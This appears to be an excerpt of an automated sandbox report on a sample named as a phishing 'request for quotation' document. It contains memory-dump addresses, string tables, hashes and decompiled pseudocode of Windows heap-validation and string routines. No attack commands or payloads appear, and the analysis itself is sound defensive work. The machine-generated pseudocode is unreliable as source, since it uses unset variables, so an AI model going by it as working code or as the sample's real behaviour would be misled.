0x00ad4c75
0x00ad4c5d
0x00ad4c5d
0x00ad4c64
0x00000000
0x00ad4c64
0x00ad4c17
0x00ad4b75
0x00ad4bc4
0x00ad4bc8
0x00000000
0x00000000
0x00ad4bd9
0x00000000
0x00000000
0x00000000
0x00ad4b77
0x00ad4b7a
0x00ad4b8c
0x00ad4b7c
0x00ad4b7e
0x00ad4b83
0x00ad4b86
0x00ad4b86
0x00ad4b90
0x00ad4b93
0x00000000
0x00000000
0x00ad4b95
0x00ad4bab
0x00ad4bb0
0x00000000
0x00000000
0x00ad4bb2
0x00ad4bb9
0x00000000
0x00000000
0x00ad4bbb
0x00ad4bbe
0x00ad4bc1
0x00ad4bc1
0x00000000
0x00ad4bc1
0x00ad4b97
0x00ad4ba4
0x00000000
0x00000000
0x00ad4ba6
0x00000000
0x00ad4ba6
0x00ad4ea9
0x00ad4ea9
0x00ad4eb2
0x00000000

Strings

Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x), xrefs: 00AD5119
Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x), xrefs: 00AD50C6
Free Heap block %p modified at %p after it was freed, xrefs: 00AD4F2F
Heap entry %p has incorrect PreviousSize field (%04x instead of %04x), xrefs: 00AD508C
HEAP: , xrefs: 00AD4F1A, 00AD4F6A, 00AD4FC7, 00AD502A, 00AD506E, 00AD50B6, 00AD5107
HEAP[%wZ]: , xrefs: 00AD4EE1, 00AD4F0D, 00AD4F5D, 00AD4FBA, 00AD501D, 00AD5061, 00AD50FA
Heap block at %p is not last block in segment (%p), xrefs: 00AD4FD6
Heap block at %p has corrupted PreviousSize (%lx), xrefs: 00AD4F81
Heap block at %p has incorrect segment offset (%x), xrefs: 00AD503B

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: Free Heap block %p modified at %p after it was freed$HEAP: $HEAP[%wZ]: $Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)$Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)$Heap block at %p has corrupted PreviousSize (%lx)$Heap block at %p has incorrect segment offset (%x)$Heap block at %p is not last block in segment (%p)$Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)
API String ID: 0-3591852110
Opcode ID: 1ee8de4981fb652fc10a554d171b8ba4b69c0a130251bf767835d1a2b3cf86eb
Instruction ID: f56d697f8de92e51e53aab9f211f3e86bb423c0533e9e5a227446e29d53839c7
Opcode Fuzzy Hash: 1ee8de4981fb652fc10a554d171b8ba4b69c0a130251bf767835d1a2b3cf86eb
Instruction Fuzzy Hash: D612AB30610645AFDB25CF29C495BBAB7F2FF4D704F18855AE4869B782D734E880CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00AD4496, Relevance: 10.4, Strings: 8, Instructions: 417
COMMONCrypto

Download Yara Rule

C-Code - Quality: 56%

			E00AD4496(signed int* __ecx, void* __edx) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed char _v24;
				signed int* _v28;
				char _v32;
				signed int* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t150;
				intOrPtr _t151;
				signed char _t156;
				intOrPtr _t157;
				unsigned int _t169;
				intOrPtr _t170;
				signed int* _t183;
				signed char _t184;
				intOrPtr _t191;
				signed int _t201;
				intOrPtr _t203;
				intOrPtr _t212;
				intOrPtr _t220;
				signed int _t230;
				signed int _t241;
				signed int _t244;
				void* _t259;
				signed int _t260;
				signed int* _t261;
				intOrPtr* _t262;
				signed int _t263;
				signed int* _t264;
				signed int _t267;
				signed int* _t268;
				void* _t270;
				void* _t281;
				signed short _t285;
				signed short _t289;
				signed int _t291;
				signed int _t298;
				signed char _t303;
				signed char _t308;
				signed int _t314;
				intOrPtr _t317;
				unsigned int _t319;
				signed int* _t325;
				signed int _t326;
				signed int _t327;
				intOrPtr _t328;
				signed int _t329;
				signed int _t330;
				signed int* _t331;
				signed int _t332;
				signed int _t350;

				_t259 = __edx;
				_t331 = __ecx;
				_v28 = __ecx;
				_v20 = 0;
				_v12 = 0;
				_t150 = E00AD49A4(__ecx);
				_t267 = 1;
				if(_t150 == 0) {
					L61:
					_t151 =  *[fs:0x30];
					__eflags =  *((char*)(_t151 + 2));
					if( *((char*)(_t151 + 2)) != 0) {
						 *0xb06378 = _t267;
						asm("int3");
						 *0xb06378 = 0;
					}
					__eflags = _v12;
					if(_v12 != 0) {
						_t105 =  &_v16;
						 *_t105 = _v16 & 0x00000000;
						__eflags =  *_t105;
						L00A4174B( &_v12,  &_v16, 0x8000);
					}
					L65:
					__eflags = 0;
					return 0;
				}
				if(_t259 != 0 || (__ecx[0x10] & 0x20000000) != 0) {
					_t268 =  &(_t331[0x30]);
					_v32 = 0;
					_t260 =  *_t268;
					_t308 = 0;
					_v24 = 0;
					while(_t268 != _t260) {
						_t260 =  *_t260;
						_v16 =  *_t325 & 0x0000ffff;
						_t156 = _t325[0];
						_v28 = _t325;
						_v5 = _t156;
						__eflags = _t156 & 0x00000001;
						if((_t156 & 0x00000001) != 0) {
							_t157 =  *[fs:0x30];
							__eflags =  *(_t157 + 0xc);
							if( *(_t157 + 0xc) == 0) {
								_push("HEAP: ");
								E00A1B150();
							} else {
								E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_t325);
							E00A1B150("dedicated (%04Ix) free list element %p is marked busy\n", _v16);
							L32:
							_t270 = 0;
							__eflags = _t331[0x13];
							if(_t331[0x13] != 0) {
								_t325[0] = _t325[0] ^ _t325[0] ^  *_t325;
								 *_t325 =  *_t325 ^ _t331[0x14];
							}
							L60:
							_t267 = _t270 + 1;
							__eflags = _t267;
							goto L61;
						}
						_t169 =  *_t325 & 0x0000ffff;
						__eflags = _t169 - _t308;
						if(_t169 < _t308) {
							_t170 =  *[fs:0x30];
							__eflags =  *(_t170 + 0xc);
							if( *(_t170 + 0xc) == 0) {
								_push("HEAP: ");
								E00A1B150();
							} else {
								E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							E00A1B150("Non-Dedicated free list element %p is out of order\n", _t325);
							goto L32;
						} else {
							__eflags = _t331[0x13];
							_t308 = _t169;
							_v24 = _t308;
							if(_t331[0x13] != 0) {
								_t325[0] = _t169 >> 0x00000008 ^ _v5 ^ _t308;
								 *_t325 =  *_t325 ^ _t331[0x14];
								__eflags =  *_t325;
							}
							_t26 =  &_v32;
							 *_t26 = _v32 + 1;
							__eflags =  *_t26;
							continue;
						}
					}
					_v16 = 0x208 + (_t331[0x21] & 0x0000ffff) * 4;
					if( *0xb06350 != 0 && _t331[0x2f] != 0) {
						_push(4);
						_push(0x1000);
						_push( &_v16);
						_push(0);
						_push( &_v12);
						_push(0xffffffff);
						if(E00A59660() >= 0) {
							_v20 = _v12 + 0x204;
						}
					}
					_t183 =  &(_t331[0x27]);
					_t281 = 0x81;
					_t326 =  *_t183;
					if(_t183 == _t326) {
						L49:
						_t261 =  &(_t331[0x29]);
						_t184 = 0;
						_t327 =  *_t261;
						_t282 = 0;
						_v24 = 0;
						_v36 = 0;
						__eflags = _t327 - _t261;
						if(_t327 == _t261) {
							L53:
							_t328 = _v32;
							_v28 = _t331;
							__eflags = _t328 - _t184;
							if(_t328 == _t184) {
								__eflags = _t331[0x1d] - _t282;
								if(_t331[0x1d] == _t282) {
									__eflags = _v12;
									if(_v12 == 0) {
										L82:
										_t267 = 1;
										__eflags = 1;
										goto L83;
									}
									_t329 = _t331[0x2f];
									__eflags = _t329;
									if(_t329 == 0) {
										L77:
										_t330 = _t331[0x22];
										__eflags = _t330;
										if(_t330 == 0) {
											L81:
											_t129 =  &_v16;
											 *_t129 = _v16 & 0x00000000;
											__eflags =  *_t129;
											L00A4174B( &_v12,  &_v16, 0x8000);
											goto L82;
										}
										_t314 = _t331[0x21] & 0x0000ffff;
										_t285 = 1;
										__eflags = 1 - _t314;
										if(1 >= _t314) {
											goto L81;
										} else {
											goto L79;
										}
										while(1) {
											L79:
											_t330 = _t330 + 0x40;
											_t332 = _t285 & 0x0000ffff;
											_t262 = _v20 + _t332 * 4;
											__eflags =  *_t262 -  *((intOrPtr*)(_t330 + 8));
											if( *_t262 !=  *((intOrPtr*)(_t330 + 8))) {
												break;
											}
											_t285 = _t285 + 1;
											__eflags = _t285 - _t314;
											if(_t285 < _t314) {
												continue;
											}
											goto L81;
										}
										_t191 =  *[fs:0x30];
										__eflags =  *(_t191 + 0xc);
										if( *(_t191 + 0xc) == 0) {
											_push("HEAP: ");
											E00A1B150();
										} else {
											E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push(_t262);
										_push( *((intOrPtr*)(_v20 + _t332 * 4)));
										_t148 = _t330 + 0x10; // 0x10
										_push( *((intOrPtr*)(_t330 + 8)));
										E00A1B150("Tag %04x (%ws) size incorrect (%Ix != %Ix) %p\n", _t332);
										L59:
										_t270 = 0;
										__eflags = 0;
										goto L60;
									}
									_t289 = 1;
									__eflags = 1;
									while(1) {
										_t201 = _v12;
										_t329 = _t329 + 0xc;
										_t263 = _t289 & 0x0000ffff;
										__eflags =  *((intOrPtr*)(_t201 + _t263 * 4)) -  *((intOrPtr*)(_t329 + 8));
										if( *((intOrPtr*)(_t201 + _t263 * 4)) !=  *((intOrPtr*)(_t329 + 8))) {
											break;
										}
										_t289 = _t289 + 1;
										__eflags = _t289 - 0x81;
										if(_t289 < 0x81) {
											continue;
										}
										goto L77;
									}
									_t203 =  *[fs:0x30];
									__eflags =  *(_t203 + 0xc);
									if( *(_t203 + 0xc) == 0) {
										_push("HEAP: ");
										E00A1B150();
									} else {
										E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									}
									_t291 = _v12;
									_push(_t291 + _t263 * 4);
									_push( *((intOrPtr*)(_t291 + _t263 * 4)));
									_push( *((intOrPtr*)(_t329 + 8)));
									E00A1B150("Pseudo Tag %04x size incorrect (%Ix != %Ix) %p\n", _t263);
									goto L59;
								}
								_t212 =  *[fs:0x30];
								__eflags =  *(_t212 + 0xc);
								if( *(_t212 + 0xc) == 0) {
									_push("HEAP: ");
									E00A1B150();
								} else {
									E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(_t331[0x1d]);
								_push(_v36);
								_push("Total size of free blocks in arena (%Id) does not match number total in heap header (%Id)\n");
								L58:
								E00A1B150();
								goto L59;
							}
							_t220 =  *[fs:0x30];
							__eflags =  *(_t220 + 0xc);
							if( *(_t220 + 0xc) == 0) {
								_push("HEAP: ");
								E00A1B150();
							} else {
								E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_t328);
							_push(_v24);
							_push("Number of free blocks in arena (%ld) does not match number in the free lists (%ld)\n");
							goto L58;
						} else {
							goto L50;
						}
						while(1) {
							L50:
							_t92 = _t327 - 0x10; // -24
							_t282 = _t331;
							_t230 = E00AD4AEF(_t331, _t92, _t331,  &_v24,  &_v36,  &_v28, _v20, _v12);
							__eflags = _t230;
							if(_t230 == 0) {
								goto L59;
							}
							_t327 =  *_t327;
							__eflags = _t327 - _t261;
							if(_t327 != _t261) {
								continue;
							}
							_t184 = _v24;
							_t282 = _v36;
							goto L53;
						}
						goto L59;
					} else {
						while(1) {
							_t39 = _t326 + 0x18; // 0x10
							_t264 = _t39;
							if(_t331[0x13] != 0) {
								_t319 = _t331[0x14] ^  *_t264;
								 *_t264 = _t319;
								_t303 = _t319 >> 0x00000010 ^ _t319 >> 0x00000008 ^ _t319;
								_t348 = _t319 >> 0x18 - _t303;
								if(_t319 >> 0x18 != _t303) {
									_push(_t303);
									E00ACFA2B(_t264, _t331, _t264, _t326, _t331, _t348);
								}
								_t281 = 0x81;
							}
							_t317 = _v20;
							if(_t317 != 0) {
								_t241 =  *(_t326 + 0xa) & 0x0000ffff;
								_t350 = _t241;
								if(_t350 != 0) {
									if(_t350 >= 0) {
										__eflags = _t241 & 0x00000800;
										if(__eflags == 0) {
											__eflags = _t241 - _t331[0x21];
											if(__eflags < 0) {
												_t298 = _t241;
												_t65 = _t317 + _t298 * 4;
												 *_t65 =  *(_t317 + _t298 * 4) + ( *(_t326 + 0x10) >> 3);
												__eflags =  *_t65;
											}
										}
									} else {
										_t244 = _t241 & 0x00007fff;
										if(_t244 < _t281) {
											 *((intOrPtr*)(_v12 + _t244 * 4)) =  *((intOrPtr*)(_v12 + _t244 * 4)) + ( *(_t326 + 0x10) >> 3);
										}
									}
								}
							}
							if(( *(_t326 + 0x1a) & 0x00000004) != 0 && E00AC23E3(_t331, _t264) == 0) {
								break;
							}
							if(_t331[0x13] != 0) {
								_t264[0] = _t264[0] ^ _t264[0] ^  *_t264;
								 *_t264 =  *_t264 ^ _t331[0x14];
							}
							_t326 =  *_t326;
							if( &(_t331[0x27]) == _t326) {
								goto L49;
							} else {
								_t281 = 0x81;
								continue;
							}
						}
						__eflags = _t331[0x13];
						if(_t331[0x13] != 0) {
							 *(_t326 + 0x1b) =  *(_t326 + 0x1a) ^  *(_t326 + 0x19) ^  *(_t326 + 0x18);
							 *(_t326 + 0x18) =  *(_t326 + 0x18) ^ _t331[0x14];
						}
						goto L65;
					}
				} else {
					L83:
					return _t267;
				}
			}

0x00ad44a1
0x00ad44a3
0x00ad44a7
0x00ad44ac
0x00ad44af
0x00ad44b2
0x00ad44b9
0x00ad44bc
0x00ad47f2
0x00ad47f2
0x00ad47f8
0x00ad47fc
0x00ad47fe
0x00ad4804
0x00ad4805
0x00ad4805
0x00ad480c
0x00ad4810
0x00ad4812
0x00ad4812
0x00ad4812
0x00ad4822
0x00ad4822
0x00ad4827
0x00ad4827
0x00000000
0x00ad4827
0x00ad44c4
0x00ad44d3
0x00ad44d9
0x00ad44dc
0x00ad44de
0x00ad44e0
0x00ad4560
0x00ad4520
0x00ad4522
0x00ad4525
0x00ad4528
0x00ad452b
0x00ad452e
0x00ad4530
0x00ad4697
0x00ad469d
0x00ad46a1
0x00ad46c0
0x00ad46c5
0x00ad46a3
0x00ad46b8
0x00ad46bd
0x00ad46cb
0x00ad46d4
0x00ad4677
0x00ad4677
0x00ad4679
0x00ad467c
0x00ad468a
0x00ad4690
0x00ad4690
0x00ad47f1
0x00ad47f1
0x00ad47f1
0x00000000
0x00ad47f1
0x00ad4536
0x00ad4539
0x00ad453c
0x00ad4636
0x00ad463c
0x00ad4640
0x00ad465f
0x00ad4664
0x00ad4642
0x00ad4657
0x00ad465c
0x00ad4670
0x00000000
0x00ad4542
0x00ad4542
0x00ad4546
0x00ad4548
0x00ad454b
0x00ad4555
0x00ad455b
0x00ad455b
0x00ad455b
0x00ad455d
0x00ad455d
0x00ad455d
0x00000000
0x00ad455d
0x00ad453c
0x00ad4579
0x00ad457c
0x00ad4587
0x00ad4589
0x00ad4591
0x00ad4592
0x00ad4597
0x00ad4598
0x00ad45a1
0x00ad45ab
0x00ad45ab
0x00ad45a1
0x00ad45ae
0x00ad45b4
0x00ad45b9
0x00ad45bd
0x00ad4759
0x00ad4759
0x00ad475f
0x00ad4761
0x00ad4763
0x00ad4765
0x00ad4768
0x00ad476b
0x00ad476d
0x00ad479c
0x00ad479c
0x00ad479f
0x00ad47a2
0x00ad47a4
0x00ad4830
0x00ad4833
0x00ad4879
0x00ad487d
0x00ad48f1
0x00ad48f3
0x00ad48f3
0x00000000
0x00ad48f3
0x00ad487f
0x00ad4885
0x00ad4887
0x00ad48a8
0x00ad48a8
0x00ad48ae
0x00ad48b0
0x00ad48dc
0x00ad48dc
0x00ad48dc
0x00ad48dc
0x00ad48ec
0x00000000
0x00ad48ec
0x00ad48b2
0x00ad48bc
0x00ad48be
0x00ad48c1
0x00000000
0x00000000
0x00000000
0x00000000
0x00ad48c3
0x00ad48c3
0x00ad48c6
0x00ad48c9
0x00ad48cc
0x00ad48d1
0x00ad48d4
0x00000000
0x00000000
0x00ad48d6
0x00ad48d7
0x00ad48da
0x00000000
0x00000000
0x00000000
0x00ad48da
0x00ad494f
0x00ad4955
0x00ad4959
0x00ad4978
0x00ad497d
0x00ad495b
0x00ad4970
0x00ad4975
0x00ad4986
0x00ad4987
0x00ad498a
0x00ad498d
0x00ad4997
0x00ad47ef
0x00ad47ef
0x00ad47ef
0x00000000
0x00ad47ef
0x00ad4890
0x00ad4890
0x00ad4891
0x00ad4891
0x00ad4894
0x00ad4897
0x00ad489d
0x00ad48a0
0x00000000
0x00000000
0x00ad48a2
0x00ad48a3
0x00ad48a6
0x00000000
0x00000000
0x00000000
0x00ad48a6
0x00ad48fb
0x00ad4901
0x00ad4905
0x00ad4924
0x00ad4929
0x00ad4907
0x00ad491c
0x00ad4921
0x00ad492f
0x00ad4935
0x00ad4936
0x00ad4939
0x00ad4942
0x00000000
0x00ad4947
0x00ad4835
0x00ad483b
0x00ad483f
0x00ad485e
0x00ad4863
0x00ad4841
0x00ad4856
0x00ad485b
0x00ad4869
0x00ad486c
0x00ad486f
0x00ad47e7
0x00ad47e7
0x00000000
0x00ad47ec
0x00ad47aa
0x00ad47b0
0x00ad47b4
0x00ad47d3
0x00ad47d8
0x00ad47b6
0x00ad47cb
0x00ad47d0
0x00ad47de
0x00ad47df
0x00ad47e2
0x00000000
0x00000000
0x00000000
0x00000000
0x00ad476f
0x00ad476f
0x00ad4778
0x00ad4785
0x00ad4787
0x00ad478c
0x00ad478e
0x00000000
0x00000000
0x00ad4790
0x00ad4792
0x00ad4794
0x00000000
0x00000000
0x00ad4796
0x00ad4799
0x00000000
0x00ad4799
0x00000000
0x00ad45c3
0x00ad45c3
0x00ad45c7
0x00ad45c7
0x00ad45ca
0x00ad45cf
0x00ad45d3
0x00ad45df
0x00ad45e4
0x00ad45e6
0x00ad45e8
0x00ad45ed
0x00ad45ed
0x00ad45f2
0x00ad45f2
0x00ad45f7
0x00ad45fc
0x00ad4602
0x00ad4606
0x00ad4609
0x00ad460f
0x00ad46de
0x00ad46e3
0x00ad46e5
0x00ad46ec
0x00ad46ee
0x00ad46f6
0x00ad46f6
0x00ad46f6
0x00ad46f6
0x00ad46ec
0x00ad4615
0x00ad4615
0x00ad461d
0x00ad462e
0x00ad462e
0x00ad461d
0x00ad460f
0x00ad4609
0x00ad46fd
0x00000000
0x00000000
0x00ad4710
0x00ad471a
0x00ad4720
0x00ad4720
0x00ad4722
0x00ad472c
0x00000000
0x00ad472e
0x00ad472e
0x00000000
0x00ad472e
0x00ad472c
0x00ad4738
0x00ad473c
0x00ad474b
0x00ad4751
0x00ad4751
0x00000000
0x00ad473c
0x00ad48f4
0x00ad48f4
0x00000000
0x00ad48f4

Strings

Pseudo Tag %04x size incorrect (%Ix != %Ix) %p, xrefs: 00AD493D
HEAP: , xrefs: 00AD465F, 00AD46C0, 00AD47D3, 00AD485E, 00AD4924, 00AD4978
Tag %04x (%ws) size incorrect (%Ix != %Ix) %p, xrefs: 00AD4992
Non-Dedicated free list element %p is out of order, xrefs: 00AD466B
dedicated (%04Ix) free list element %p is marked busy, xrefs: 00AD46CF
HEAP[%wZ]: , xrefs: 00AD4652, 00AD46B3, 00AD47C6, 00AD4851, 00AD4917, 00AD496B
Number of free blocks in arena (%ld) does not match number in the free lists (%ld), xrefs: 00AD47E2
Total size of free blocks in arena (%Id) does not match number total in heap header (%Id), xrefs: 00AD486F

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Non-Dedicated free list element %p is out of order$Number of free blocks in arena (%ld) does not match number in the free lists (%ld)$Pseudo Tag %04x size incorrect (%Ix != %Ix) %p$Tag %04x (%ws) size incorrect (%Ix != %Ix) %p$Total size of free blocks in arena (%Id) does not match number total in heap header (%Id)$dedicated (%04Ix) free list element %p is marked busy
API String ID: 0-1357697941
Opcode ID: dfda585edabacfa9821fc4b67c6ec3910fb3f410113d196ba607b32d053fe896
Instruction ID: 547f42d25b19930e3bdd13ddfc9758ac5e3cbba2988787bc66329815bd97e4b3
Opcode Fuzzy Hash: dfda585edabacfa9821fc4b67c6ec3910fb3f410113d196ba607b32d053fe896
Instruction Fuzzy Hash: C9F10F31A10649AFCB25CF69C494BAAB7F5FF4E704F14852AE0479B781C730E985CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00AD31DC, Relevance: 10.2, Strings: 8, Instructions: 190COMMON

Download Yara Rule

Strings

Specified HeapBase (%p) != to BaseAddress (%p), xrefs: 00AD3392
Invalid CommitSize parameter - %Ix, xrefs: 00AD3295
HEAP: , xrefs: 00AD3220, 00AD3287, 00AD32D0, 00AD3335, 00AD3383, 00AD33CA
Specified HeapBase (%p) is free or not writable, xrefs: 00AD33D8
HEAP[%wZ]: , xrefs: 00AD3213, 00AD327A, 00AD32C3, 00AD3328, 00AD3376, 00AD33BD
Invalid ReserveSize parameter - %Ix, xrefs: 00AD322C
May not specify Lock parameter with HEAP_NO_SERIALIZE, xrefs: 00AD32DB
Specified HeapBase (%p) invalid, Status = %lx, xrefs: 00AD3344

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Invalid CommitSize parameter - %Ix$Invalid ReserveSize parameter - %Ix$May not specify Lock parameter with HEAP_NO_SERIALIZE$Specified HeapBase (%p) != to BaseAddress (%p)$Specified HeapBase (%p) invalid, Status = %lx$Specified HeapBase (%p) is free or not writable
API String ID: 0-2224505338
Opcode ID: 79c34a3d6a3ffd99c97ec226a2cbb4f14b0741e7b8313a64d252eb90db610bbb
Instruction ID: 4bc6001d9590214c8582d6841727a328ee77a02136476e17011b5ced35757508
Opcode Fuzzy Hash: 79c34a3d6a3ffd99c97ec226a2cbb4f14b0741e7b8313a64d252eb90db610bbb
Instruction Fuzzy Hash: CA51F937661244EFCB21DF98D956EAA73B4EF09B24F15842AF507AB741C670DE80C722

Uniqueness

Uniqueness Score: -1.00%

Function 00A32990, Relevance: 9.3, Strings: 7, Instructions: 521
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E00A32990(intOrPtr* __ecx, signed int __edx, signed short* _a4, signed int _a8, signed int _a12) {
				signed int _v12;
				short _v16;
				short _v20;
				short _v24;
				short* _v28;
				short* _v32;
				short* _v36;
				short _v38;
				signed int _v40;
				signed int _v44;
				char _v45;
				signed short _v46;
				signed short _v48;
				signed int _v52;
				intOrPtr _v56;
				signed short* _v60;
				signed int _v64;
				signed int _v68;
				intOrPtr _v72;
				void* _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				char _v92;
				signed char _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				intOrPtr _v136;
				intOrPtr _v148;
				intOrPtr _v152;
				char _v156;
				char _v160;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				char* _t208;
				signed int _t213;
				signed int _t223;
				void* _t226;
				signed char _t227;
				signed short _t231;
				signed int _t232;
				intOrPtr _t233;
				signed int _t234;
				signed short _t242;
				void* _t244;
				signed int _t245;
				signed int _t248;
				signed int _t249;
				void* _t252;
				signed int _t253;
				signed char _t266;
				void* _t271;
				signed int _t272;
				unsigned int _t279;
				signed int _t281;
				intOrPtr _t289;
				void* _t292;
				signed int _t293;
				unsigned int _t299;
				void* _t305;
				signed int _t306;
				unsigned int _t317;
				signed short _t320;
				signed char _t324;
				signed int _t329;
				signed int _t330;
				short* _t332;
				intOrPtr _t335;
				signed short _t336;
				signed int _t337;
				intOrPtr _t338;
				signed int _t342;
				signed short _t354;
				signed short* _t357;
				intOrPtr _t362;
				unsigned int _t364;
				signed short _t366;
				signed int _t367;
				signed int _t368;
				intOrPtr* _t369;
				signed int _t370;
				signed int _t371;
				signed short* _t372;
				signed int _t375;
				signed int _t376;
				signed int _t377;
				void* _t378;
				void* _t379;

				_t361 = __edx;
				_v12 =  *0xb0d360 ^ _t377;
				_t330 = _a12;
				_v60 = _a4;
				_t369 = __ecx;
				_v88 = _a8;
				_v45 = __edx;
				_v160 = 0x40;
				E00A5FA60( &_v156, 0, 0x3c);
				_t379 = _t378 + 0xc;
				_v76 =  *_t369;
				_t368 = 0;
				_v72 =  *((intOrPtr*)(_t369 + 4));
				_t208 =  &_v16;
				_v32 = _t208;
				_v28 = _t208;
				_v36 = _t208;
				_v16 = 0;
				_v52 = 0;
				_v24 = 2;
				_v20 = 2;
				_v40 = 0x20000;
				_t370 = E00A32D50(3, 0, 2,  &_v76,  &_v160);
				if(_t370 >= 0) {
					__eflags = _v45;
					if(_v45 != 0) {
						_t370 = 0;
						L2:
						_t213 = _v32;
						_t332 = _v28;
						if(_t213 != 0) {
							if(_t213 != _t332) {
								_v88 = _t213;
								L00A32400( &_v92);
								_t332 = _v28;
							}
							_v32 = _t332;
							_v24 = _v20;
						}
						_v36 = _t332;
						if(_t332 != 0) {
							 *_t332 = 0;
						}
						_v40 = 0;
						_v38 = _v20;
						if(_t368 != 0) {
							E00A49B10(_t368);
						}
						return L00A5B640(_t370, _t330, _v12 ^ _t377, _t361, _t368, _t370);
					}
					__eflags = _v148 - 0x14;
					_t368 = _v128;
					if(_v148 < 0x14) {
						L57:
						_t370 = 0xc0150003;
						goto L2;
					}
					__eflags = _v156 - 1;
					if(_v156 != 1) {
						goto L57;
					}
					_t335 = _v152;
					_t361 =  *(_t335 + 0x10);
					__eflags = _t361 - _v132;
					if(_t361 > _v132) {
						goto L57;
					}
					_t223 =  *(_t335 + 0xc);
					__eflags = _t223 - 0x1fffffff;
					if(_t223 > 0x1fffffff) {
						goto L57;
					}
					_t371 = _t223 * 8;
					__eflags = _t361 -  !_t371;
					if(_t361 >  !_t371) {
						goto L57;
					}
					_t226 = _t371 + _t361;
					_t361 = _v132;
					__eflags = _t226 - _t361;
					if(_t226 > _t361) {
						goto L57;
					}
					_t227 =  *(_t335 + 4);
					__eflags = _t227 & 0x00000002;
					if((_t227 & 0x00000002) == 0) {
						L22:
						_t372 = _v60;
						_v56 =  *(_t335 + 0x10) + _v136;
						_v64 = 0;
						 *_t372 = 0;
						_t336 = 0;
						_v48 =  *(_t335 + 0xc);
						_t231 = 0;
						__eflags = _v48;
						if(_v48 != 0) {
							_t232 = 0;
							__eflags = 0;
							while(1) {
								_t337 = _t232 * 8;
								_t233 = _v56;
								_v44 = _t337;
								_t338 =  *((intOrPtr*)(_t337 + _t233 + 4));
								__eflags = _t338 - _t361;
								if(_t338 > _t361) {
									goto L57;
								}
								_t234 =  *(_v44 + _t233);
								_t372 = _v60;
								_v44 = _t234;
								__eflags = _t338 -  !_t234;
								if(_t338 >  !_t234) {
									goto L57;
								}
								__eflags = _v44 + _t338 - _t361;
								if(_v44 + _t338 > _t361) {
									goto L57;
								}
								_t336 = (_v44 & 0x0000ffff) +  *_t372;
								_v44 = _t336 & 0x0000ffff;
								_t232 = _v64 + 1;
								 *_t372 = _t336;
								_v64 = _t232;
								__eflags = _t232 - _v48;
								if(_t232 != _v48) {
									continue;
								}
								_t231 = _v44 & 0x0000ffff;
								goto L23;
							}
							goto L57;
						}
						L23:
						_t361 = _v52;
						_t242 = _t231 & 0x0000ffff;
						__eflags = _t361;
						if(_t361 != 0) {
							_t320 = ( *_t361 & 0x0000ffff) + _t336;
							__eflags = _t320;
							 *_t372 = _t320;
							_t242 = _t320 & 0x0000ffff;
						}
						_t244 = (_t242 & 0x0000ffff) + 2;
						__eflags = _t244 - 0xfffe;
						if(_t244 > 0xfffe) {
							_t370 = 0xc0000106;
							goto L2;
						} else {
							_t340 = _t330 + 8;
							__eflags = _t340;
							if(_t340 == 0) {
								L28:
								_t245 = E00A4D690(_t340, 0, _t340, _t244);
								__eflags = _t245;
								if(_t245 < 0) {
									L69:
									_t370 = 0xc0000017;
									goto L2;
								}
								_t361 = _v52;
								_t340 = _t330 + 8;
								L30:
								 *((intOrPtr*)(_t330 + 4)) =  *_t340;
								 *((short*)(_t330 + 2)) =  *((intOrPtr*)(_t330 + 0x10));
								__eflags = _t361;
								if(_t361 == 0) {
									L35:
									_t248 = 0;
									_v44 = 0;
									__eflags = _v48;
									if(_v48 != 0) {
										while(1) {
											_t362 = _v56;
											_t249 =  *(_t362 + _t248 * 8) & 0x0000ffff;
											_t375 = _t249;
											_t361 =  *((intOrPtr*)(_t362 + 4 + _v44 * 8)) + _v136;
											_v68 = _t249;
											_v84 = _t249;
											_v80 = _t375;
											_t252 = ( *_t330 & 0x0000ffff) + 2 + _t375;
											_v64 =  *((intOrPtr*)(_t362 + 4 + _v44 * 8)) + _v136;
											_t372 = _v60;
											__eflags = _t252 - 0xfffe;
											if(_t252 > 0xfffe) {
												break;
											}
											__eflags = _t340;
											if(_t340 == 0) {
												L77:
												_t253 = E00A4D690(_t340, 0, _t340, _t252);
												__eflags = _t253;
